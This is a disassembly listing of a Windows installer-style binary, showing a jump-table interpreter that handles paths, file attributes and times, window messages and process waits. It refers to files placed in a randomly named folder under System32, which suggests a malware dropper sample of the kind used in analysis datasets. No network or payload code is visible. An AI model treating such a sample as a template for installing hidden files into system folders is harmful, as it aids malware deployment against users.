		push	esi
		call	ds:dword_407074	; GetFullPathNameA
		test	eax, eax
		jz	short loc_40173F
		mov	eax, [ebp+arg_0]
		cmp	eax, esi
		jbe	short loc_401748
		cmp	[eax], bl
		jz	short loc_401748
		push	esi
		call	sub_405CB0
		cmp	eax, ebx
		jz	short loc_40173F
		add	eax, 2Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_4059DB
		jmp	short loc_401748
; ---------------------------------------------------------------------------

loc_40173F:				; CODE XREF: sub_401439+2E1j
					; sub_401439+2F6j
					; DATA XREF: ...
		mov	[ebp+var_4], 1
		mov	[edi], bl

loc_401748:				; CODE XREF: sub_401439+2E8j
					; sub_401439+2ECj ...
		cmp	[ebp+var_1C], ebx
		jnz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	400h
		push	edi
		push	edi
		call	ds:dword_407070	; GetShortPathNameA
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_401763:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	0FFFFFFFFh	; jumptable 0040148C case 18
		call	sub_402A9A
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	esi
		push	400h
		push	ebx
		push	eax
		push	ebx
		call	ds:dword_40706C	; SearchPathA
		test	eax, eax

loc_40177F:				; CODE XREF: sub_4021F6+12Fj
		jnz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		jmp	loc_4026AE
; ---------------------------------------------------------------------------

loc_40178A:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	0FFFFFFEFh	; jumptable 0040148C case 19
		call	sub_402A9A
		push	eax
		push	esi
		call	sub_4056DB
		jmp	loc_4015C8
; ---------------------------------------------------------------------------

loc_40179D:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	31h		; jumptable 0040148C case 20
		call	sub_402A9A
		mov	esi, eax
		mov	eax, [ebp+var_24]
		and	eax, 7
		push	esi
		mov	[ebp+var_34], esi
		mov	[ebp+arg_0], eax
		call	sub_405554
		push	esi
		mov	esi, offset aCWindowsSyst_1 ; "C:\\WINDOWS\\System32\\b06FdUe\\b06FdUe1083"...
		test	eax, eax
		jz	short loc_4017CA
		push	esi
		call	sub_4059DB
		jmp	short loc_4017E1
; ---------------------------------------------------------------------------

loc_4017CA:				; CODE XREF: sub_401439+387j
		push	offset aCWindowsSyst_0 ; "C:\\WINDOWS\\System32\\b06FdUe"
		push	esi
		call	sub_4059DB
		push	eax
		call	sub_4054E8
		push	eax
		call	sub_4059F7	; lstrcat

loc_4017E1:				; CODE XREF: sub_401439+38Fj
		push	esi
		call	sub_405C17
		mov	edi, offset dword_40A440

loc_4017EC:				; CODE XREF: sub_401439+465j
		cmp	[ebp+arg_0], 3
		jl	short loc_401823
		push	esi
		call	sub_405CB0
		xor	ecx, ecx
		cmp	eax, ebx
		jz	short loc_40180E
		lea	ecx, [ebp+var_18]
		add	eax, 14h
		push	ecx
		push	eax
		call	ds:dword_407068	; CompareFileTime
		mov	ecx, eax

loc_40180E:				; CODE XREF: sub_401439+3C3j
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFFDh
		or	eax, 80000000h
		and	eax, ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+arg_0], eax

loc_401823:				; CODE XREF: sub_401439+3B7j
		cmp	[ebp+arg_0], ebx
		jnz	short loc_401839
		push	esi
		call	ds:dword_407080	; GetFileAttributesA
		and	al, 0FEh
		push	eax
		push	esi
		call	ds:dword_40708C	; SetFileAttributesA

loc_401839:				; CODE XREF: sub_401439+3EDj
		xor	eax, eax
		cmp	[ebp+arg_0], 1
		setnz	al
		inc	eax
		push	eax
		push	40000000h
		push	esi
		call	sub_4056AC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_4018CD
		cmp	[ebp+arg_0], ebx
		jnz	short loc_4018AF
		push	offset dword_430000
		push	edi
		call	sub_4059DB
		push	esi
		push	offset dword_430000
		call	sub_4059DB
		push	[ebp+var_10]
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\b06FdUe"
		call	sub_4059FD
		push	edi
		push	offset dword_430000
		call	sub_4059DB
		mov	eax, [ebp+var_24]
		sar	eax, 3
		push	eax
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\b06FdUe"
		call	sub_4052DB
		sub	eax, 4
		jz	loc_4017EC
		dec	eax
		jz	short loc_4018C2
		push	esi
		push	0FFFFFFFAh
		jmp	loc_401495
; ---------------------------------------------------------------------------

loc_4018AF:				; CODE XREF: sub_401439+421j
		push	[ebp+var_34]
		push	0FFFFFFE2h
		call	sub_404D7E
		cmp	[ebp+arg_0], 2
		jmp	loc_4015CA
; ---------------------------------------------------------------------------

loc_4018C2:				; CODE XREF: sub_401439+46Cj
		inc	dword_42F4A8
		jmp	loc_402938
; ---------------------------------------------------------------------------

loc_4018CD:				; CODE XREF: sub_401439+41Cj
		push	[ebp+var_34]
		push	0FFFFFFEAh
		call	sub_404D7E
		inc	dword_4092A0
		push	ebx
		push	ebx
		push	[ebp+var_8]
		push	[ebp+var_1C]
		call	sub_402EBD
		dec	dword_4092A0
		cmp	[ebp+var_18], 0FFFFFFFFh
		mov	edi, eax
		jnz	short loc_4018FE
		cmp	[ebp+var_14], 0FFFFFFFFh
		jz	short loc_401910

loc_4018FE:				; CODE XREF: sub_401439+4BDj
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	[ebp+var_8]
		call	ds:dword_407064	; SetFileTime

loc_401910:				; CODE XREF: sub_401439+4C3j
		push	[ebp+var_8]
		call	ds:dword_407060	; CloseHandle
		cmp	edi, ebx
		jge	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		cmp	edi, 0FFFFFFFEh
		jnz	short loc_401939
		push	0FFFFFFE9h
		push	esi
		call	sub_4059FD
		push	[ebp+var_34]
		push	esi
		call	sub_4059F7	; lstrcat
		jmp	short loc_401941
; ---------------------------------------------------------------------------

loc_401939:				; CODE XREF: sub_401439+4EBj
		push	0FFFFFFEEh
		push	esi
		call	sub_4059FD

loc_401941:				; CODE XREF: sub_401439+4FEj
		push	200010h
		push	esi
		jmp	loc_40228E
; ---------------------------------------------------------------------------

loc_40194C:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx		; jumptable 0040148C case 21
		jmp	short loc_401983
; ---------------------------------------------------------------------------

loc_40194F:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	31h		; jumptable 0040148C case 22
		call	sub_402A9A
		push	[ebp+var_24]
		push	eax
		call	sub_4052DB
		cmp	eax, ebx
		jz	loc_4026DA
		cmp	eax, [ebp+var_1C]
		jz	loc_401AB1
		cmp	eax, [ebp+var_14]
		jnz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		mov	eax, [ebp+var_10]

loc_40197C:				; DATA XREF: .data:0040E67Co
					; .data:0040E6BCo ...
		jmp	loc_40293A	; jumptable 0040148C case 2
; ---------------------------------------------------------------------------

loc_401981:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	0FFFFFFF0h	; jumptable 0040148C case 23

loc_401983:				; CODE XREF: sub_401439+514j
		call	sub_402A9A
		push	[ebp+var_20]
		push	eax
		call	sub_40531D
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_401996:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	1		; jumptable 0040148C case 24
		call	sub_402A9A
		push	eax
		call	sub_4059F1	; lstrlen
		jmp	loc_402536
; ---------------------------------------------------------------------------

loc_4019A8:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	2		; jumptable 0040148C case 25
		call	sub_402A7D
		push	3
		mov	[ebp+arg_0], eax
		call	sub_402A7D
		push	1
		mov	edi, eax
		call	sub_402A9A
		cmp	[ebp+var_1C], ebx
		mov	[ebp+var_2C], eax
		mov	[esi], bl
		jz	short loc_4019D5
		cmp	[ebp+arg_0], ebx
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66

loc_4019D5:				; CODE XREF: sub_401439+591j
		push	eax
		call	sub_4059F1	; lstrlen
		cmp	edi, ebx
		jge	short loc_4019E7
		add	edi, eax
		js	loc_40292F	; default
					; jumptable 0040148C cases 65,66

loc_4019E7:				; CODE XREF: sub_401439+5A4j
		cmp	edi, eax
		jle	short loc_4019ED
		mov	edi, eax

loc_4019ED:				; CODE XREF: sub_401439+5B0j
		mov	eax, [ebp+var_2C]
		add	eax, edi
		push	eax
		push	esi

loc_4019F4:				; DATA XREF: .data:0040E5B0o
					; .data:0040E5C0o ...
		call	sub_4059DB
		mov	edi, [ebp+arg_0]

loc_4019FC:				; DATA XREF: .data:0040E678o
					; .data:0041A6D0o
		cmp	edi, ebx
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		jge	short loc_401A15
		push	esi
		call	sub_4059F1	; lstrlen
		add	edi, eax
		jns	short loc_401A15
		mov	[ebp+arg_0], ebx
		mov	edi, ebx

loc_401A15:				; CODE XREF: sub_401439+5CBj
					; sub_401439+5D5j
		cmp	edi, 400h
		jge	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		mov	[edi+esi], bl

loc_401A24:				; DATA XREF: .data:0040E6B8o
					; .data:0041A710o
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_401A29:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	20h		; jumptable 0040148C case 26
		call	sub_402A9A
		push	31h
		mov	esi, eax
		call	sub_402A9A
		cmp	[ebp+var_14], ebx
		push	eax
		push	esi
		jnz	short loc_401A52
		call	ds:dword_4070A4	; lstrcmpi

loc_401A46:				; CODE XREF: sub_401439+61Fj
		test	eax, eax
		jnz	short loc_401AB1

loc_401A4A:				; CODE XREF: sub_401439+670j
					; sub_401439:loc_401AB9j ...
		mov	eax, [ebp+var_1C]
		jmp	loc_40293A	; jumptable 0040148C case 2
; ---------------------------------------------------------------------------

loc_401A52:				; CODE XREF: sub_401439+605j
		call	ds:dword_4070E8	; lstrcmp
		jmp	short loc_401A46
; ---------------------------------------------------------------------------

loc_401A5A:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		xor	edi, edi	; jumptable 0040148C case 27
		inc	edi
		push	edi
		call	sub_402A9A
		cmp	[ebp+var_1C], ebx
		push	400h
		push	esi
		push	eax
		jz	short loc_401A77

loc_401A6F:				; DATA XREF: .data:0040E614o
					; .data:0041A66Co
		call	ds:dword_4070EC	; GetEnvironmentVariableA
		jmp	short loc_401A7D
; ---------------------------------------------------------------------------

loc_401A77:				; CODE XREF: sub_401439+634j
		call	ds:dword_4070F0	; ExpandEnvironmentStringsA

loc_401A7D:				; CODE XREF: sub_401439+63Cj
		test	eax, eax
		jnz	short loc_401A86
		mov	[ebp+var_4], edi
		mov	[esi], bl

loc_401A86:				; CODE XREF: sub_401439+646j
		mov	[esi+3FFh], bl
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_401A91:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx		; jumptable 0040148C case 28
		call	sub_402A7D
		push	1
		mov	esi, eax
		call	sub_402A7D
		cmp	[ebp+var_10], ebx
		jnz	short loc_401AAD
		cmp	esi, eax
		jl	short loc_401AB1
		jle	short loc_401A4A
		jmp	short loc_401ABB
; ---------------------------------------------------------------------------

loc_401AAD:				; CODE XREF: sub_401439+66Aj
		cmp	esi, eax
		jnb	short loc_401AB9

loc_401AB1:				; CODE XREF: sub_401439+531j
					; sub_401439+60Fj ...
		mov	eax, [ebp+var_18]

loc_401AB4:				; DATA XREF: .data:0040E63Co
					; .data:0041A694o
		jmp	loc_40293A	; jumptable 0040148C case 2
; ---------------------------------------------------------------------------

loc_401AB9:				; CODE XREF: sub_401439+676j
		jbe	short loc_401A4A

loc_401ABB:				; CODE XREF: sub_401439+672j
		mov	eax, [ebp+var_14]
		jmp	loc_40293A	; jumptable 0040148C case 2
; ---------------------------------------------------------------------------

loc_401AC3:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	1		; jumptable 0040148C case 29
		call	sub_402A7D
		push	2
		mov	edi, eax
		call	sub_402A7D
		mov	ecx, eax
		mov	eax, [ebp+var_18]
		cmp	eax, 0Ch	; switch 13 cases
		ja	short loc_401B4A ; default
		jmp	ds:off_402A49[eax*4] ; switch jump

loc_401AE4:				; DATA XREF: .text:off_402A49o
		add	edi, ecx	; jumptable 00401ADD case 0
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------

loc_401AE8:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		sub	edi, ecx	; jumptable 00401ADD case 1
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------

loc_401AEC:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		imul	ecx, edi	; jumptable 00401ADD case 2
		mov	edi, ecx
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------

loc_401AF3:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		cmp	ecx, ebx	; jumptable 00401ADD case 3
		jz	short loc_401B39
		mov	eax, edi
		cdq
		idiv	ecx

loc_401AFC:				; CODE XREF: sub_401439+6DAj
		mov	edi, eax
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------

loc_401B00:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		or	edi, ecx	; jumptable 00401ADD case 4
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------

loc_401B04:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		and	edi, ecx	; jumptable 00401ADD case 5
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------

loc_401B08:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		xor	edi, ecx	; jumptable 00401ADD case 6
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------

loc_401B0C:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		xor	eax, eax	; jumptable 00401ADD case 7
		cmp	edi, ebx
		setz	al
		jmp	short loc_401AFC
; ---------------------------------------------------------------------------

loc_401B15:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		cmp	edi, ebx	; jumptable 00401ADD case 8
		jnz	short loc_401B27
		jmp	short loc_401B23
; ---------------------------------------------------------------------------

loc_401B1B:				; CODE XREF: sub_401439+6E8j
					; sub_401439+6ECj
		xor	edi, edi
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------

loc_401B1F:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		cmp	edi, ebx	; jumptable 00401ADD case 9
		jz	short loc_401B1B

loc_401B23:				; CODE XREF: sub_401439+6E0j
		cmp	ecx, ebx
		jz	short loc_401B1B

loc_401B27:				; CODE XREF: sub_401439+6DEj
		xor	edi, edi
		inc	edi
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------

loc_401B2C:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		cmp	ecx, ebx	; jumptable 00401ADD case 10
		jz	short loc_401B39
		mov	eax, edi
		cdq
		idiv	ecx
		mov	edi, edx
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------

loc_401B39:				; CODE XREF: sub_401439+6BCj
					; sub_401439+6F5j
		xor	edi, edi
		mov	[ebp+var_4], 1
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------

loc_401B44:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o
		shl	edi, cl		; jumptable 00401ADD case 11
		jmp	short loc_401B4A ; default
; ---------------------------------------------------------------------------

loc_401B48:				; CODE XREF: sub_401439+6A4j
					; DATA XREF: .text:off_402A49o	...
		sar	edi, cl		; jumptable 00401ADD case 12

loc_401B4A:				; CODE XREF: sub_401439+6A2j
					; sub_401439+6ADj ...
		push	edi		; default
		jmp	loc_401581
; ---------------------------------------------------------------------------

loc_401B50:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	1		; jumptable 0040148C case 30
		call	sub_402A9A
		push	2
		mov	edi, eax
		call	sub_402A7D
		push	eax
		push	edi
		push	esi
		call	ds:dword_4071F4	; wsprintfA
		add	esp, 0Ch
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_401B71:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		mov	eax, [ebp+var_1C] ; jumptable 0040148C case 31
		mov	edi, dword_40B040
		cmp	eax, ebx
		jz	short loc_401BC2

loc_401B7E:				; CODE XREF: sub_401439+752j
		dec	eax
		cmp	edi, ebx
		jz	loc_402280
		mov	edi, [edi]
		cmp	eax, ebx
		jnz	short loc_401B7E
		cmp	edi, ebx
		jz	loc_402280
		add	edi, 4
		mov	esi, offset aCWindowsSyst_1 ; "C:\\WINDOWS\\System32\\b06FdUe\\b06FdUe1083"...
		push	edi
		push	esi
		call	sub_4059DB
		mov	eax, dword_40B040
		add	eax, 4
		push	eax
		push	edi
		call	sub_4059DB
		mov	eax, dword_40B040
		push	esi
		add	eax, 4
		push	eax
		jmp	loc_402855
; ---------------------------------------------------------------------------

loc_401BC2:				; CODE XREF: sub_401439+743j
		cmp	[ebp+var_20], ebx
		jz	short loc_401BEC
		cmp	edi, ebx

loc_401BC9:				; DATA XREF: .data:0040FA04o
					; .data:0041BA5Co
		jz	loc_4026DA
		lea	eax, [edi+4]
		push	eax
		push	esi
		call	sub_4059DB
		mov	eax, [edi]
		push	edi
		mov	dword_40B040, eax

loc_401BE1:				; CODE XREF: sub_401FCC+Bj
		call	ds:dword_4070F4	; GlobalFree
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_401BEC:				; CODE XREF: sub_401439+78Cj
		push	404h
		push	40h
		call	ds:dword_4070F8	; GlobalAlloc
		push	[ebp+var_24]
		mov	esi, eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4059FD
		mov	eax, dword_40B040
		mov	[esi], eax
		mov	dword_40B040, esi
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_401C19:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	33h		; jumptable 0040148C cases 32,33
		call	sub_402A9A

loc_401C20:				; DATA XREF: .data:0040E594o
					; .data:0041A5ECo
		push	44h
		mov	[ebp+var_8], eax
		call	sub_402A9A
		test	byte ptr [ebp+var_10], 1
		mov	[ebp+arg_0], eax
		jnz	short loc_401C3E
		push	[ebp+var_8]
		call	sub_405952
		mov	[ebp+var_8], eax

loc_401C3E:				; CODE XREF: sub_401439+7F8j
		test	byte ptr [ebp+var_10], 2
		jnz	short loc_401C4F
		push	[ebp+arg_0]
		call	sub_405952
		mov	[ebp+arg_0], eax

loc_401C4F:				; CODE XREF: sub_401439+809j
		cmp	[ebp+var_28], 21h
		push	1
		jnz	short loc_401C9B
		call	sub_402A7D
		push	2
		mov	edi, eax
		call	sub_402A7D
		mov	ecx, [ebp+var_10]
		sar	ecx, 2
		jz	short loc_401C8B
		lea	edx, [ebp+var_34]
		push	edx
		push	ecx
		push	ebx
		push	[ebp+arg_0]

loc_401C76:				; DATA XREF: .data:0040E838o
					; .data:0041A890o
		push	[ebp+var_8]
		push	eax
		push	edi
		call	ds:dword_4071F8	; SendMessageTimeoutA
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_401CCA
; ---------------------------------------------------------------------------

loc_401C8B:				; CODE XREF: sub_401439+832j
					; DATA XREF: .data:0040E80Co ...
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	eax
		push	edi
		call	ds:dword_40723C	; SendMessageA
		jmp	short loc_401CC7
; ---------------------------------------------------------------------------

loc_401C9B:				; CODE XREF: sub_401439+81Cj
		call	sub_402A9A
		push	12h
		mov	edi, eax
		call	sub_402A9A
		mov	cl, [eax]
		neg	cl
		sbb	ecx, ecx
		and	ecx, eax
		mov	al, [edi]
		neg	al
		sbb	eax, eax
		push	ecx
		and	eax, edi
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_8]
		call	ds:dword_4071FC	; FindWindowExA

loc_401CC7:				; CODE XREF: sub_401439+860j
		mov	[ebp+var_34], eax

loc_401CCA:				; CODE XREF: sub_401439+850j
		cmp	[ebp+var_24], ebx
		jl	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	[ebp+var_34]

loc_401CD6:				; DATA XREF: .data:0040FA2Co
					; .data:0041BA84o
		jmp	loc_401581
; ---------------------------------------------------------------------------

loc_401CDB:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx		; jumptable 0040148C case 34
		call	sub_402A7D
		push	eax
		call	ds:dword_407220	; IsWindow

loc_401CE8:				; CODE XREF: sub_401439+22Dj
		test	eax, eax
		jz	loc_401A4A
		mov	eax, [ebp+var_20]
		jmp	loc_40293A	; jumptable 0040148C case 2
; ---------------------------------------------------------------------------

loc_401CF8:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	2		; jumptable 0040148C case 35
		call	sub_402A7D
		push	eax

loc_401D00:				; DATA XREF: .data:0040E940o
					; .data:0041A998o
		push	1
		call	sub_402A7D
		push	eax
		call	ds:dword_407224	; GetDlgItem
		jmp	loc_402536
; ---------------------------------------------------------------------------

loc_401D13:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		mov	eax, dword_42F468 ; jumptable 0040148C case 36
		mov	ecx, [ebp+var_20]
		add	eax, ecx
		push	eax
		push	0FFFFFFEBh

loc_401D20:				; DATA XREF: .data:0040E944o
					; .data:0041A99Co
		push	ebx
		call	sub_402A7D
		push	eax
		call	ds:dword_407228	; SetWindowLongA

loc_401D2D:				; DATA XREF: .data:0040FA28o
					; .data:0041BA80o
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_401D32:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	[ebp+var_20]	; jumptable 0040148C case 37
		push	[ebp+var_8]
		call	ds:dword_407224	; GetDlgItem
		mov	esi, eax
		lea	eax, [ebp+var_40]
		push	eax
		push	esi
		call	ds:dword_407248	; GetClientRect
		mov	eax, [ebp+var_34]
		push	10h
		imul	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_38]

loc_401D58:				; DATA XREF: .data:0040FA38o
					; .data:0041BA90o
		imul	eax, [ebp+var_1C]
		push	eax
		push	ebx
		push	ebx
		call	sub_402A9A
		push	eax
		push	ebx
		call	ds:dword_40722C	; LoadImageA
		push	eax
		push	ebx
		push	172h
		push	esi
		call	ds:dword_40723C	; SendMessageA
		cmp	eax, ebx
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	eax
		call	ds:dword_407044	; DeleteObject
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_401D8E:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	48h		; jumptable 0040148C case 38
		push	5Ah
		push	[ebp+var_8]
		call	ds:dword_407230	; GetDC
		push	eax
		call	ds:dword_407040	; GetDeviceCaps
		push	eax
		push	2
		call	sub_402A7D
		push	eax
		call	ds:dword_40712C	; MulDiv
		neg	eax
		push	3
		mov	dword_409400, eax

loc_401DBA:				; DATA XREF: .data:0040FA34o
					; .data:0041BA8Co
		call	sub_402A7D
		mov	dword_409410, eax
		mov	al, byte ptr [ebp+var_14]
		push	[ebp+var_20]
		mov	cl, al
		and	cl, 1
		mov	byte_409417, 1
		mov	byte_409414, cl
		mov	cl, al
		and	cl, 2
		and	al, 4

loc_401DE3:				; DATA XREF: .data:0040E854o
					; .data:0041A8ACo
		push	offset dword_40941C
		mov	byte_409415, cl

loc_401DEE:				; DATA XREF: .data:0040E858o
					; .data:0041A8B0o
		mov	byte_409416, al
		call	sub_4059FD

loc_401DF8:				; DATA XREF: .data:0040E85Co
					; .data:0041A8B4o
		push	offset dword_409400
		call	ds:dword_40704C	; CreateFontIndirectA
		jmp	loc_402536
; ---------------------------------------------------------------------------

loc_401E08:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o	...
		push	ebx		; jumptable 0040148C case 39
		call	sub_402A7D
		push	1
		mov	esi, eax

loc_401E12:				; DATA XREF: .data:0040E864o
					; .data:0041A8BCo
		call	sub_402A7D
		cmp	[ebp+var_18], ebx
		push	eax
		push	esi
		jnz	short loc_401E29

loc_401E1E:				; DATA XREF: .data:0040E868o
					; .data:0041A8C0o
		call	ds:dword_407258	; ShowWindow
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_401E29:				; CODE XREF: sub_401439+9E3j
		call	ds:dword_407234	; EnableWindow
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_401E34:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o	...
		push	ebx		; jumptable 0040148C case 40
		call	sub_402A9A
		push	31h
		mov	esi, eax
		call	sub_402A9A

loc_401E43:				; DATA XREF: .data:0040E870o
					; .data:0041A8C8o
		push	22h
		mov	ebx, eax
		call	sub_402A9A
		push	ebx
		push	esi
		push	offset aSS	; "%s %s"

loc_401E53:				; DATA XREF: .data:0040E874o
					; .data:0041A8CCo
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\b06FdUe"
		mov	edi, eax
		call	ds:dword_4071F4	; wsprintfA
		add	esp, 10h
		push	0FFFFFFECh
		call	sub_401428
		mov	al, [edi]
		push	[ebp+var_18]
		neg	al
		sbb	eax, eax
		push	offset aCWindowsSyst_0 ; "C:\\WINDOWS\\System32\\b06FdUe"
sub_401439	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401E78	proc near		; DATA XREF: .data:0040FB4Bo
					; .data:0041BBA3o
		and	eax, edi
		push	eax
		mov	al, [esi]
		neg	al
		sbb	eax, eax
		push	ebx
		and	eax, esi
		push	eax
		push	dword ptr [ebp-8]
sub_401E78	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401E88	proc near		; DATA XREF: .data:0040FBC7o
					; .data:0041BC1Fo
		call	ds:dword_40715C
		cmp	eax, 21h
		jge	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		jmp	loc_4026DA
sub_401E88	endp


; =============== S U B	R O U T	I N E =======================================

; jumptable 0040148C case 41


sub_401E9C	proc near		; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o	...
		push	ebx
		call	sub_402A9A
		mov	esi, eax
		push	esi
		push	0FFFFFFEBh
		call	sub_404D7E
		push	offset aCWindowsSyst_0 ; "C:\\WINDOWS\\System32\\b06FdUe"
		push	esi
		call	sub_405263
		cmp	eax, ebx
		mov	[ebp+8], eax
		jz	loc_4026DA
		cmp	[ebp-1Ch], ebx
		jz	short loc_401F0D
		mov	esi, ds:dword_4070FC
		jmp	short loc_401ED6
; ---------------------------------------------------------------------------

loc_401ECF:				; CODE XREF: sub_401E9C+46j
		push	0Fh
		call	sub_405D18

loc_401ED6:				; CODE XREF: sub_401E9C+31j
		push	64h
		push	dword ptr [ebp+8]
		call	esi	; WaitForSingleObject
		cmp	eax, 102h
		jz	short loc_401ECF
sub_401E9C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401EE4	proc near		; DATA XREF: .data:0040FC03o
					; .data:0041BC5Bo
		lea	eax, [ebp-34h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_407100	; GetExitCodeProcess
		cmp	[ebp-20h], ebx
		jl	short loc_401F01
		push	dword ptr [ebp-34h]
		push	edi
		call	sub_405939
		jmp	short loc_401F0D
; ---------------------------------------------------------------------------

loc_401F01:				; CODE XREF: sub_401EE4+10j
		cmp	[ebp-34h], ebx
		jz	short loc_401F0D
		mov	dword ptr [ebp-4], 1

loc_401F0D:				; CODE XREF: sub_401E9C+29j
					; sub_401EE4+1Bj ...
		push	dword ptr [ebp+8]

loc_401F10:				; CODE XREF: sub_4021F6+31Fj
		call	ds:dword_407060	; CloseHandle
		jmp	loc_40292F	; default
sub_401EE4	endp			; jumptable 0040148C cases 65,66

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_401439

loc_401F1B:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	2		; jumptable 0040148C case 42
		call	sub_402A9A
		push	eax
		call	sub_405CB0
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_401F42
		mov	ebx, eax
		push	dword ptr [ebx+14h]
; END OF FUNCTION CHUNK	FOR sub_401439

; =============== S U B	R O U T	I N E =======================================



sub_401F34	proc near		; DATA XREF: .data:00410425o
					; .data:004104F9o ...
		push	edi
		call	sub_405939
		push	dword ptr [ebx+18h]
		jmp	loc_401581
sub_401F34	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_401439

loc_401F42:				; CODE XREF: sub_401439+AF4j
		mov	[esi], bl
; END OF FUNCTION CHUNK	FOR sub_401439

; =============== S U B	R O U T	I N E =======================================



sub_401F44	proc near		; DATA XREF: .data:0041056Co
					; .data:0041C5C4o
		mov	[edi], bl
		jmp	loc_4026DA
sub_401F44	endp

